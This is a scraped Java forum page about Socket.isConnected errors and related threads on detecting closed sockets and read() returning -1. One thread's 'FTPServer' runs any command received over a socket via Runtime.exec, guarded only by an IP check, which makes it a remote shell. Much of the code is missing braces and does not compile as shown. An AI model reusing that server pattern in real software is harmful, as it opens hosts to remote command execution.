Socket.isConnected NoSuchMethodError

I am having trouble with the Socket class
I have a very simple Socket program developed in Forte which compiles and runs successfully from the IDE.
From the command line it compiles fine, but when I try to run it I keep getting NoSuchMethodError on the Socket.isConnected() method. The classpath for compilation and running is identical, and I change nothing between compiling and running. If I take out the isConnected() method the program runs fine (connectes successfully etc) so the rest of the Socket methods work.
I have also noticed that in Forte when I type "mySocket." the list of available methods which pops up does not include isConnected() although the program compiles and runs successfully with the isConnected method included.
Can anyone offer any suggestions as to what is happening here and how it can be fixed?
One more thing, from the command line, if isConnected is removed so that the program works, but I add a timeout to the Socket read, the timeout exception thrown is a IOInterruptException and not a SocketTimeoutException, which isI also quite bizarre.

It's a version problem thing.
Socket.isConnected was introduced in version 1.4. SocketTimedOutException is also a new 1.4 class.
Your IDE uses a version 1.4 compiler and JVM, so you can run it from there. When you run it from the command line you seem to use an older JVM, (try running 'java -version') and so you get a NoSuchMethodError.

Similar Messages

  • IsClosed() and isConnected() in socket ?

    //SocketTest.java
    //============
    import java.net.*;
    public class SocketTest {
        public static void main(String [] args) {
            try {
                ServerSocket ssocket = new ServerSocket(5000);
                System.out.println("Socket listening on port 5000...");
                Socket socket = ssocket.accept();
                System.out.println("Socket accepted...");
                while (socket.isConnected() && !socket.isClosed()) {
                    socket.read();
                System.out.println("Socket disconnected...");
                socket.close();
                ssocket.close();
            } catch (Exception ex) {
                System.out.println(ex);
    //ClientTest.java
    //============
    import java.net.*;
    public class ClientTest {
        public static void main(String [] args) {
            try {
                Socket socket = new Socket("127.0.0.1", 5000);
                System.out.println("Connected...");
                socket.close();
                System.out.println("Disconnected...");
            } catch (Exception ex) {
                System.out.println(ex);
    }Consider the example at above... It's seem that server wouldn't know the client was closed/disconnected unless the server tried to write something to it outputstream. So, how can i know if my client socket is closed or disconnect ? What is the usage of isConnected() and isClosed() ?

    Sorry... 1 more question here...
    So, I can't check whether a socket was disconnected
    unless checking of it inputstream or outputstream ?The method Socket#isConnected() returns true if the socket successfuly connected to a server. With that in mind, check out the following:
    http://java.sun.com/docs/books/tutorial/networking/sockets/definition.html
    Normally, a server runs on a specific computer and has a socket that is bound to a specific port number. The server just waits, listening to the socket for a client to make a connection request.
    On the client-side: The client knows the hostname of the machine on which the server is running and the port number to which the server is connected. To make a connection request, the client tries to rendezvous with the server on the server's machine and port.
    If everything goes well, the server accepts the connection. Upon acceptance, the server gets a new socket bound to a different port. It needs a new socket (and consequently a different port number) so that it can continue to listen to the original socket for connection requests while tending to the needs of the connected client.
    On the client side, if the connection is accepted, a socket is successfully created and the client can use the socket to communicate with the server. Note that the socket on the client side is not bound to the port number used to rendezvous with the server. Rather, the client is assigned a port number local to the machine on which the client is running.
    The client and server can now communicate by writing to or reading from their sockets.
    Definition: A socket is one endpoint of a two-way communication link between two programs running on the network. A socket is bound to a port number so that the TCP layer can identify the application that data is destined to be sent.

  • Reading from socket inputstream returns -1

    I'm using a socket in order to connect to a chat server. The code is:
    Socket socket;
    InputStreamReader isr;
    OutputStreamWriter osw;
    try {
      socket = new Socket(sHost, iPort);
      isr = new InputStreamReader(socket.getInputStream());
      osw = new OutputStreamWriter(socket.getOutputStream());
      int iCharRead;
      char[] buffer = new char[512];
      while((iCharRead=isr.read(buffer, 0, 512))!=-1) {
          // do something
      System.err.println("Error: InputStream has returned -1.");
      System.err.println("\tsocket.isBound()=" + socket.isBound());
      System.err.println("\tsocket.isClosed()=" + socket.isClosed());
      System.err.println("\tsocket.isConnected()=" + socket.isConnected());
      System.err.println("\tsocket.isInputShutdown()=" + socket.isInputShutdown());
      System.err.println("\tsocket.isOutputShutdown()=" + socket.isOutputShutdown());
    } catch (Exception e) {
      e.printStackTrace();
    } finally {
      try {if (isr!=null) isr.close();} catch (Exception ex) {}
      try {if (osw!=null) osw.close();} catch (Exception ex) {}
      try {if (socket!=null) socket.close();} catch (Exception ex) {}
    }Ther server is supposed to be sending data continuously but sometimes, after being connected successfully for a while, the read method returns -1. As you can see in the previous code then I'm checking out some socket information and I get:
    Error: InputStream has returned -1.
         socket.isBound()=true
         socket.isClosed()=false
         socket.isConnected()=true
         socket.isInputShutdown()=false
         socket.isOutputShutdown()=falseThe socket seems to be bounded, it is not closed and isConnected also returns true. Besides, input and output streams are not closed. So, why does the read method return -1? What does it really mean? Is it a problem in the server side, that is overloaded or simply malfunctioning? What can I do in order to keep on reading data from the socket connection? Do I have to close the current socket and reconnect again to the server or is there any other way to recover from this situation?
    Thanks.

    isConnected means was ever connected.
    Check whether isr is closed. If so, the server has disconnected/closed the connection.

  • Sockets Problem - 2

    Per Dr.Clap's request I have created a new thread....here is the code
    import java.io.BufferedReader;
    import java.io.BufferedWriter;
    import java.io.IOException;
    import java.io.InputStreamReader;
    import java.io.OutputStreamWriter;
    import java.io.PrintWriter;
    import java.net.InetAddress;
    import java.net.Socket;
    public class FTPClient {
         public static void main(String[] args) throws IOException {
              if (args.length != 1) {
                   System.out.println("Usage: java FTPClient <hostname>");
                   System.exit(0);
              InetAddress addr = InetAddress.getByName(args[0]);
              // connect to the server
              Socket socket = new Socket(addr, 21);
              try {
                   boolean running = true;
                   BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
                   PrintWriter out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())), true);
                   BufferedReader keyboardInput = new BufferedReader(new InputStreamReader(System.in));
                   System.out.println("Enter a command and hit Enter, type exit to quit the program");
                   while (socket.isConnected() &&  running) {
                        System.out.print("client_shell>");
                        String cmd =  keyboardInput.readLine();
                        if (cmd == null || cmd.length() == 0) {
                             continue;
                        else if (cmd.equalsIgnoreCase("exit") || cmd.equalsIgnoreCase("stopandexit")) {
                             out.println(cmd);
                             running = false;
                        else {
                             out.println(cmd);
                             String result = readResponse(in);
                             System.out.println(result);
                             System.out.println();
              catch (Exception e) {
                   e.printStackTrace();
              finally {
                   System.out.println("Closing connection with " + args[0] + ":21");
                   socket.close();
         private static String readResponse(BufferedReader reader) throws Exception {
              StringBuffer sb = new StringBuffer();
              String line = null;
              while ( (line = reader.readLine()) != null) {
                   sb.append(line);
                   System.out.print(line);
              System.out.println("CLIENT DONE WITH SERVER RESPONSE");
              return sb.toString();
    Server
    import java.io.BufferedReader;
    import java.io.BufferedWriter;
    import java.io.IOException;
    import java.io.InputStreamReader;
    import java.io.OutputStreamWriter;
    import java.io.PrintWriter;
    import java.net.ServerSocket;
    import java.net.Socket;
    public class FTPServer {
         public static void main(String[] args) throws IOException {
              final int PORT = 21;
              String validClientAddress = null;
              if (args.length == 1) {
                   validClientAddress = args[0];
              else {
                   System.out.println("Usage: java FTPServer <client_address>");
                   System.exit(0);
              ServerSocket ss = new ServerSocket(PORT);
              boolean serverRunning = true;
              try {
                   System.out.println("Started Server on port " + PORT);
                   BufferedReader in = null;
                   PrintWriter out = null;
                   while (serverRunning) {
                        Socket socket = ss.accept();
                        boolean validConnection = (socket.getInetAddress().getHostAddress().equals(validClientAddress));
                        if (validConnection == false) {
                             System.out.println("Client not allowed to connect: " + socket.getInetAddress().getHostName() + ":" + socket.getPort());
                             socket.close();
                        else {
                             System.out.println("Connected to " + socket.getInetAddress().getHostName() + ":" + socket.getPort());
                             while (socket.isConnected() && serverRunning) {
                                  try {
                                       in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
                                       out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())), true);
                                       StringBuffer cmd = new StringBuffer();
                                       int tmp = -1;
                                       while ( (tmp = in.read()) != -1) {
                                            cmd.append((char) tmp);
                                       if (cmd != null && cmd.length() > 0) {
                                            System.out.println("Executing: " + cmd);
                                            if (cmd.toString().equalsIgnoreCase("exit")) {
                                                 System.out.println("Closed connection to " + socket.getInetAddress().getHostName() + ":" + socket.getPort());
                                                 try {
                                                      socket.close();
                                                      socket = ss.accept();
                                                      System.out.println("Connected to " + socket.getInetAddress().getHostName() + ":" + socket.getPort());
                                                 } catch (Exception e) {}
                                            else if (cmd.toString().equalsIgnoreCase("stopandexit")) {
                                                 serverRunning = false;
                                            else {
                                                 Process p = Runtime.getRuntime().exec(cmd.toString());
                                                 ProcessStreamGobbler psg = new ProcessStreamGobbler(p, false, true);
                                                 BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
                                                 StringBuffer sb = new StringBuffer();
                                                 String line = null;
                                                 while ( (line = reader.readLine()) != null) {
                                                      sb.append(line);
                                                      sb.append("\r\n");
                                                 System.out.println("Sending response for command=" + cmd + " (" + sb.toString().getBytes().length + " bytes)");
                                                 out.println(sb);
                                  catch (Exception e) {
                                       serverRunning = false;
                                       e.printStackTrace();
                                  finally {
                                       if (serverRunning == false) {
                                            System.out.println("Closed connection to " + socket.getInetAddress().getHostName() + ":" + socket.getPort());
                                            socket.close();
              catch (Exception e) {
                   e.printStackTrace();
              } finally {
                   System.out.println("Closing server");
                   ss.close();
    }I know it's not very pretty...but the point is if you start the server (in its own console)
    java FTPServer 127.0.0.1
    ..then start the client (in its own console)
    java FTPClient localhost
    ..then try running a command. From the client try, ipconfig . ...you will see nothing gets printed out.
    Any ideas why?
    Thanks.

    Perhaps the while loop in that method neverequates
    to false?yes your right, it hangs up b/c line ends up being
    equal to "" .....but how else would i read from the
    reader? I cant check for just "" b/c an empty line
    is valid...
    any ideas??Maybe the method that returns that string should return null instead of an empty line, when there really isn't any input.

  • Socket Connection Error

    Hi,
    I m facing some strange issues in a java file. The requirement is something like, i need to process some business operation , connect to a third party vendor and they need to process some operation in 10 secs and they reverted back with the result. The whole process should complete in 15 secs.
    So for the first time while connection to the third party it is working fine, but for the second time it fails and showing connection failed in the UI. When i retires it is successfully connects. i checked the log file, there it is throwing exceptions some of the time. Please find the piece of code below. From the third party there is no issues from them , all the operations sucessfully done from their side..
    try {
    // open socket connection
    socket = openSocketConnection(host, port, connectTimeOut, responseTimeout);
    if(socket.isConnected()){
    // some steps of business processing.....
    // write request
    // read response
    // set pipeline
    // set error status
    catch(SocketTimeoutException ste){}
    catch (UnknownHostException uhe) {}
    catch (SocketException soe) {}
    catch (Exception e) { }
    finally {
    try {
    if (socket != null)socket.close();
    } catch (Exception e) { }
    // method for connecting the server....
    openSocketConnection(String host, int port, int connectTimeOut, int responseTimeout) throws SocketTimeoutException, ServiceException,IOException {
    Socket socket = null;
    socket = new Socket();
    socket.bind(null);
    socket.connect(new InetSocketAddress(host,port),connectTimeOut);
    if (socket.isConnected()) {
                   socket.setSoTimeout(responseTimeout);
    } else {
         throw new ServiceException("Error opening socket connection to Third party Vendor.");<------- mostly in second time throwing exception, but when retires working fine...
    return socket;
    Can anyone please help me out for this.

    Remove the isConnected() test and associated code: it's contributing nothing here. If the socket itself throws an exception then you have a problem. At the moment all you have is a self-inflicted wound.
    You can also remove the bind(null) call.

  • Error opening socket connection to Thirdparty vendor

    Does (socket.isConnected()){}, works fine in JDK 1.4 ??

    It works fine in all versions where it's present but it doesn't do what you're probably expecting. All it does is tell you whether you have ever connected the socket. After you've constructed a Socket with an InetAddress:port, or called connect(), or accepted it from a ServerSocket, isConnected() will return true forever, even after you close it.
    It's not an indicator of the state of the connection, it's an indicator of what you have done to the socket, i.e. the endpoint of the connection.

  • Slow Socket Creation

    Hi all,
    I'm trying to connect to my smtp server with a socket but it takes several minutes to create the socket.
    Here is the code to reproduce my problem :
    public static void main(String[] args) {
              long start,duration;
              ProxySelector.setDefault(null);
              start = System.currentTimeMillis();
              Socket socket = new Socket(Proxy.NO_PROXY);
              duration = System.currentTimeMillis() - start;
              System.out.println("new Socket en " + duration+ "ms");
            // l'adresse IP de la cible
            start = System.currentTimeMillis();
            InetAddress ipAddr;
              try {
                   ipAddr = InetAddress.getByName(CMain.SMTP_SERVER);
            duration = System.currentTimeMillis();
              // Socket de la cible
            start = System.currentTimeMillis();
            InetSocketAddress endPoint = new InetSocketAddress(ipAddr, 25);
            duration = System.currentTimeMillis() - start;
            System.out.println("endPoint en " + duration+ "ms");
            // Socket locale
            if (!socket.isBound()) {
                start = System.currentTimeMillis();
                socket.bind(null);
                duration = System.currentTimeMillis() - start;
                System.out.println("Bind en "+ duration + "ms");
            System.out.println("Est-on connecté? " + socket.isConnected());
            // Création de la connexion
            start = System.currentTimeMillis();
            socket.connect(endPoint);
            duration = System.currentTimeMillis() - start;
            System.out.println("Connexion à " + CMain.SMTP_SERVER + ": 25 en "+ duration + "ms");
            // Properties of the current socket
            System.out.println("Socket: " + socket);
            socket.close();
              } catch (UnknownHostException e) {
                   // TODO Auto-generated catch block
                   e.printStackTrace();
              } catch (IOException e) {
                   // TODO Auto-generated catch block
                   e.printStackTrace();
    The output :
    new Socket en 189001ms
    endPoint en 0ms
    Bind en 0ms
    Est-on connecté? false
    Connexion à 127.0.0.1 : 25 en 0ms
    Socket: Socket[addr=localhost/127.0.0.1,port=25,localport=35106]Java version :
    java version "1.6.0_07"
    Java(TM) SE Runtime Environment (build 1.6.0_07-b06)
    Java HotSpot(TM) 64-Bit Server VM (build 10.0-b23, mixed mode)My /etc/hosts file :
    127.0.0.1       localhost
    XX.XXX.XXX.XXX    XXXXX
    # The following lines are desirable for IPv6 capable hosts
    XXXXXX ::1     ip6-localhost ip6-loopback
    fe00::0 ip6-localnet
    ff00::0 ip6-mcastprefix
    ff02::1 ip6-allnodes
    ff02::2 ip6-allrouters
    ff02::3 ip6-allhostsMy OS is debian 4.0.
    When I telnet my smtp server, the connection is immediate.
    Thanks you for any help

    No idea of what file I should configure on my server?
    I must have made something wrong but I don't know what?
    Thanks for any advice

  • How to get server data without reading from the socket stream?

    My socket client checks for server messages through
                while (isRunning) { //listen for server events
                    try {
                            Object o = readObject(socket); //wait for server message
                                tellListeners(socket, o);
                    } catch (Exception e) {
                        System.err.println("ERROR SocketClient: "+e);
                        e.printStackTrace();
                    try { sleep(1000); } catch (InterruptedException ie) { /* ignore */ }
                }//next client connectionwith readObject() being
        public Object readObject(Socket socket) throws ClassNotFoundException, IOException {
            Object result = null;
    System.out.println("readObject("+socket+") ...");
            if (socket != null && socket.isConnected()) {
    //            ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
                ObjectInputStream ois = new ObjectInputStream(new DataInputStream(socket.getInputStream()));
                try {
                    result = ois.readObject();
                } finally {
    //                socket.shutdownInput(); //closing of ois also closes socket!
        //            try { ois.close(); } catch (IOException ioe) { /* ignore */ }
            return result;
        }//readObject()Why does ois.readObject() block? I get problems with this as the main while loop (above) calls readObject() as it's the only way to get server messages. But if i want to implement a synchronous call in adition to this asynchronous architecture (call listeners), the readObject() call of the synchronous method comes to late as readObject() call of the main loop got called before and therefore also gets the result of the (later) synchronous call.
    I tried fideling around with some state variables, but that's ugly and probably not thread safe. I'm looking for another solution to check messages from the server without reading data from the stream. is this possible?

    A quick fix:
    - Add a response code at the beginning of each message returned from the server indicating if the message is a synchronous response or a callback (asynch);
    - Read all messages returned from the server in one thread and copy callback messages in a calback message queue and the synch responses in an synch responses queue;
    - Modify your synchronous invocation to retrieve the response from the responses queue instead from the socket. Read the callback messages from the corresponding queue instead from the socket.
    Also take a look at my website. I'm implementing an upgraded version of this idea.
    Catalin Merfu
    High Performance Java Networking
    http://www.accendia.com

  • Socket connetion issue

    Hi,
    I wrote multi thread socket programming.All clients are connected from different network switches.In case any one network switch go to down (power off) / unplug network cable between switches. In this case server program how to identify the connection status or how to know the whether client is connected or not.
    Thanks in advance

    Hmm, yes.
    you can try thisYou can try this yourself, and you will find out that there are many circumstances in which it just sit there forever.
    Please don't post misinformation or guesses in these forums.
    You could try it with a read timeout, then you might have something, but then you don't know whether the peer is just slow at responding or the network is down.
    The only way to detect a dropped TCP connection is to write to it.
    Please also note that the methods Socket.isClosed(), Socket.isConnected(), etc, don't tell you about the state of the connection. They tell you about the state of the local Socket, i.e. they tell you which APIs you have called yourself on the socket.

  • Client Socket Reconnect Question

    I have a client that is connecting a socket to a piece of hardware (Computer Controlled Telescope). No guarantee that the hardware is powered up when the app starts and the hardware might power down and back up at any time.
    The app�s main thread creates a socket to the device. A child thread gets the socket�s OutputStream to send commands to the device. Another child thread gets the socket�s InputStream to receive status from the device.
    Problem: How do I recognize that the device has died? What do I have to do to the socket to reconnect it?

    I only pass the InputStream and OutputStream to my child threads. The Socket stays snug and secure in my main thread.
    Also, I don't want to hide the fact the socket has gone away, just the opposite , I want to know that the socket has died (Socket.isConnected(), I guess), recreate it to the same IP address, and re-distribute the In/Out Streams to the child threads.
    I guess my questions are: 1) How can I tell that the thread has died? and 2) How do I recreate the socket?

  • Socket OK only for 10 minutes

    I have a client/server application in which the client sends to server a String every second. The program works well, but exactly 10 minutes past from the time client connected the server throws "java.net.SocketException: Connection reset" and stops to receive the Strings, but the client continues working normally sending the Strings and the method socket.isConnected() at client continues returning true. This problem doesnt occur when I run the programs in localhost.
    I tried do socket.setSoTimeOut(0), but the problem keeps. Somebody knows how to help me?

    felipekennedy wrote:
    I have a client/server application in which the client sends to server a String every second. The program works well, but exactly 10 minutes past from the time client connected the server throws "java.net.SocketException: Connection reset" and stops to receive the Strings, but the client continues working normally sending the Strings and the method socket.isConnected() at client continues returning true. This problem doesnt occur when I run the programs in localhost.
    I tried do socket.setSoTimeOut(0), but the problem keeps. Somebody knows how to help me?socket.isConnected() does not tell you if the socket is connected, it simply returns true until you literally tell the socket to close. If the connection breaks somehow, socket.isConnected will continue to return true because it only tells you what you have done to the socket.
    Any attempt to write to a socket after the connection has closed on the other end (or anything that breaks the connection) should result in an IOException being thrown by the write command. When your write command throws an IOException, it means your connection is jacked...and thus your client does not "continues working normally".
    According to the API, socket.setSoTimeOut deals with the length of time the socket will block when you make a "read() call on the InputStream associated with this Socket", so I don't see how that would affect anything if you're just writing to the socket.

  • Moving from windows to linux

    I have a complete program that I put together using Borland's JBuilder. on a Windows PC. It runs flawlessly on this machine. I built it and created a .jar file. I loaded the jar file onto Linux computer that has a working java runtime environment. I attempt to run the .jar file and I keep getting java.lang.NoSuchMethodError. I'm not sure why I'm getting this error. The method in question is socket.isConnected(). Does anyone know anything about this?
    Thanks

    Hi
    I believe you are using 1.4.x on Windows and the one in Linux is not 1.4.x :)
    See http://java.sun.com/j2se/1.4.2/docs/api/java/net/Socket.html#isConnected()
    This method is available in 1.4. Another good way of doing it is to add -showversion in your java startup options, so you always know which java runtime you are invoking. If you are convinced only ONE java is installed, just do a java -version and you will know which one is installed.
    Hope this helps.

  • Sending data to xport doesn't work correctly

    Dear programmers,
    For my thesis I have to send data from a computer to a microcontroller trough TCP/IP. So I've written a program in java dat sends the data, but it goes wrong. This is my code:
    import java.io.*;
    import java.net.*;
    public class Connection {
         private Socket socket = null;
        private PrintWriter output = null;
        private BufferedReader input = null;
        private BufferedReader stdIn = new BufferedReader(new InputStreamReader(System.in));;
         public boolean createConnection(String ip, int port) {
            boolean connect = false;
            try {
                socket = new Socket(ip, port);                                                            // Maakt socket aan naar gegeven poort en ip
                output = new PrintWriter(socket.getOutputStream(), true);                         // Output naar de server
                input = new BufferedReader(new InputStreamReader(socket.getInputStream()));     // Ontvangen gegevens van server
                connect = true;
            } catch (UnknownHostException e) {
                connect = false;
                 System.err.println("Kan geen verbinding maken naar ip-adres: " + ip);
                System.exit(1);
            } catch (IOException e) {
                 connect = false;
                System.err.println("Kan geen input/output verkrijgen van ip-adres: " + ip);
                System.exit(1);
            return connect;
         public boolean sendMessage(String message) {          
              output.println(message);
              output.println("\r\n")
              return true;
         public String receiveMessage() {
              String message = null;
              try {
                   message = input.readLine();
              } catch (IOException e) {
                   e.printStackTrace();
              if(message.equalsIgnoreCase("HTTP/1.1 0 ERROR")) {
                   message = "#ERROR#";
              return message;
         public boolean getStatus() {
              if(socket.isConnected()) {
                   return true;
              else {
                   return false;
         public void closeConnection() {
              try {
                   output.close();
                   input.close();
                   stdIn.close();
                   socket.close();
              } catch (IOException e) {
                   e.printStackTrace();
    }The first time I send something it goes correctly, but when I try to send the second data it goes wrong.
    So as example I send 100 times the number 512 to the xport.
    1st time: 512
    2nd time: 5
    3th time: 52
    4th time: 5125
    So only the first time it sends the data correctly. It's my program and not the xport because trough hyperterminal the data is sended correctly. I hope you guys can help me.

    Okay, thanks for your reaction. Now I changed my Connection.java code into:
    import java.io.*;
    import java.net.*;
    public class Connection {
         private Socket socket = null; 
        private BufferedOutputStream ostream = null;
        private BufferedInputStream istream = null;
         public boolean createConnection(String ip, int port) {
            boolean connect = false;
            try {
                socket = new Socket(ip, port);
                ostream = new BufferedOutputStream(socket.getOutputStream());
                istream = new BufferedInputStream(socket.getInputStream());
                connect = true;
            } catch (UnknownHostException e) {
                connect = false;
                 System.err.println("Kan geen verbinding maken naar ip-adres: " + ip);
                System.exit(1);
            } catch (IOException e) {
                 connect = false;
                System.err.println("Kan geen input/output verkrijgen van ip-adres: " + ip);
                System.exit(1);
            return connect;
         public boolean sendMessage(String message) {
              byte[] buffer = new byte[10];
              try {
                   buffer = message.getBytes();
                   ostream.write(buffer, 0, message.length());
                   ostream.flush();
              catch(Exception e) {
                   e.printStackTrace();
              return true;
         public String receiveMessage() {
              String message = null;
              byte[] readBuffer = new byte[40];
              try {
                   int message_int = istream.read(readBuffer, 0, 40);
                 message = new String(readBuffer, 0, message_int);
              } catch (IOException e) {
                   e.printStackTrace();
              if(message.equalsIgnoreCase("HTTP/1.1 0 ERROR")) {
                   message = "#ERROR#";
              return message;
         public boolean getStatus() {
              if(socket.isConnected()) {
                   return true;
              else {
                   return false;
         public void closeConnection() {
              try {
                   ostream.close();
                   istream.close();
                   socket.close();
              } catch (IOException e) {
                   e.printStackTrace();
    }Do you think this was the problem? Maybe it was. Let's hope so. I will let you know something when I tested it tomorrow in school.

  • Help on using Proxy Class  ???

    The proxy class that i am using currently not detecting (and not using ) my proxy .server
    I am using Naviscope proxy server on port 81 .
    Following is my code snippet:
    psvm (String a[] ){
    try {
    Proxy proxy = new Proxy(Proxy.Type.SOCKS,
                                       new InetSocketAddress("127.0.0.1", 81 )
                   Socket socket = new Socket(proxy);
                   System.out.println("Connecting...");
                   socket.connect(new InetSocketAddress("http://google.com", 81);
                   if (socket.isConnected() )
                        System.out.println("Connectoed");
                   else
                        System.out.println("Not connected");
                   socket.close() ;
    catch(Exception ioe){
         ioe.printStackTrace();
    The error is InvalidArgumentType when proxy type is other than Socks ...
    There is no error on setting as Socks server type , but no activity in my Server.
    Morever my proxy server is a Http one .. and works well with Firefox , IE ,Opera !!!
    Can someone help me out.. pls
    Thx in advance ...

    The compiler I'm using is showing errors in these areas of the code. I've read the tutorials and still can't get it. They syntax for the scanner must be in the wrong format??
    the input.readLine appears incorrect below.
      public void actionPerformed(ActionEvent evt) {
        System.out.print("Talk to me " +name+ " : ");
        try {
            jLabel1.setText(input.readLine());
        } catch (IOException ioe) {
          jLabel1.setText("Ow! You pushed my button");
          System.err.println("IO Error: " + ioe);
        }and also here...
    the input is showing errors
      /** Initialise and Scan input Stream */
      private void selectInput() {
        input = new Scanner(new InputStreamReader(System.in));
       /**int i = sc.nextInt(); */
      }Thanks

  • GUI locks up when trying to read output from server

    I have a client built in MVC fashion and have two GUI views. One view is for output from the server and input from the keyboard. The other view is for changing connection settings and starting the conection. The problem is when I make the call to connect from the connection GUI it is able to connect and set up the streams but both GUIs lock up once I start trying to output the text received from the server. The strange thing is that when I call these methods just from the Model and not via the GUI and its actionListener the whole thing works. I think it may have something to do with the loop locking up the GUI but don't how to resolve this.
    public void monitorServer()
    try
    char inputChar = (char)fromServer.read();
    while (socket.isConnected()==true && inputChar >-1 )
    inputChar = (char)fromServer.read();
    if ( ( (inputChar >= '0') && (inputChar <= 'z') )
    ||(inputChar == '\n')||(inputChar == '\r')
    ||(inputChar == ' ') )
    String tempString = (""+inputChar);
    mv.addText(tempString);
    catch(IOException ioException)
    JOptionPane.showMessageDialog(null,
    "Error: Failed to read message. Corrupt data sent by server",
    "Connection Error", JOptionPane.ERROR_MESSAGE);
    mv.addText("\nMessage not read.\n");
    The code above is the bot that screws it all up. mv is the other view that it is outputting the text to.
    Please help! I'm gonna fail my degree. :)

    you need to run your server connection part in another thread.

Maybe you are looking for